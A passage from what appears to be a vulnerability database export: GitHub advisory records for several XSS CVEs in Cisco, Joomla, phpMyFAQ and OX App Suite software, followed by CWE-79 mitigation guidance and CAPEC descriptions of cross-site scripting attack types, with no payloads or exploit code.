"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JF7W-9FC7-5GMG
Vulnerability from github – Published: 2022-05-17 02:35 – Updated: 2022-05-17 02:35A vulnerability in the web framework code of Cisco Firepower Management Center could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the web interface of an affected system. Affected Products: Cisco Firepower Management Center Software Releases prior to 6.0.0.0. More Information: CSCuy88785. Known Affected Releases: 5.4.1.6.
{
"affected": [],
"aliases": [
"CVE-2017-6716"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-04T00:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web framework code of Cisco Firepower Management Center could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the web interface of an affected system. Affected Products: Cisco Firepower Management Center Software Releases prior to 6.0.0.0. More Information: CSCuy88785. Known Affected Releases: 5.4.1.6.",
"id": "GHSA-jf7w-9fc7-5gmg",
"modified": "2022-05-17T02:35:46Z",
"published": "2022-05-17T02:35:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6716"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-fmc2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99220"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JF83-R388-Q6J5
Vulnerability from github – Published: 2022-05-17 02:07 – Updated: 2022-05-17 02:07Cross-site scripting (XSS) vulnerability in the My Car (com_mycar) component 1.0 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the modveh parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-2147"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-06-03T14:30:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the My Car (com_mycar) component 1.0 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the modveh parameter to index.php.",
"id": "GHSA-jf83-r388-q6j5",
"modified": "2022-05-17T02:07:31Z",
"published": "2022-05-17T02:07:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2147"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/58976"
},
{
"type": "WEB",
"url": "http://osvdb.org/65000"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39983"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12779"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/40430"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1271"
},
{
"type": "WEB",
"url": "http://www.xenuser.org/documents/security/joomla_com_mycar_multiple_vulnerabilities.txt"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JF83-VXQJ-H3P2
Vulnerability from github – Published: 2022-05-17 01:57 – Updated: 2022-05-17 01:57Cross-site scripting (XSS) vulnerability in phpMyFAQ before 2.6.9 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-4821"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-10-22T23:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in phpMyFAQ before 2.6.9 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to index.php.",
"id": "GHSA-jf83-vxqj-h3p2",
"modified": "2022-05-17T01:57:11Z",
"published": "2022-05-17T01:57:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4821"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/62092"
},
{
"type": "WEB",
"url": "http://dl.packetstormsecurity.net/1009-exploits/phpmyfaq268-xss.txt"
},
{
"type": "WEB",
"url": "http://seclists.org/bugtraq/2010/Sep/207"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/41625"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/03/08/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/03/08/7"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/68268"
},
{
"type": "WEB",
"url": "http://www.phpmyfaq.de/advisory_2010-09-28.php"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JF86-5HWR-5C7X
Vulnerability from github – Published: 2022-12-26 06:30 – Updated: 2023-01-04 03:30OX App Suite through 8.2 allows XSS via a certain complex hierarchy that forces use of Show Entire Message for a huge HTML e-mail message.
{
"affected": [],
"aliases": [
"CVE-2022-29853"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-26T04:15:00Z",
"severity": "MODERATE"
},
"details": "OX App Suite through 8.2 allows XSS via a certain complex hierarchy that forces use of Show Entire Message for a huge HTML e-mail message.",
"id": "GHSA-jf86-5hwr-5c7x",
"modified": "2023-01-04T03:30:32Z",
"published": "2022-12-26T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29853"
},
{
"type": "WEB",
"url": "https://open-xchange.com"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2022/Sep/0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.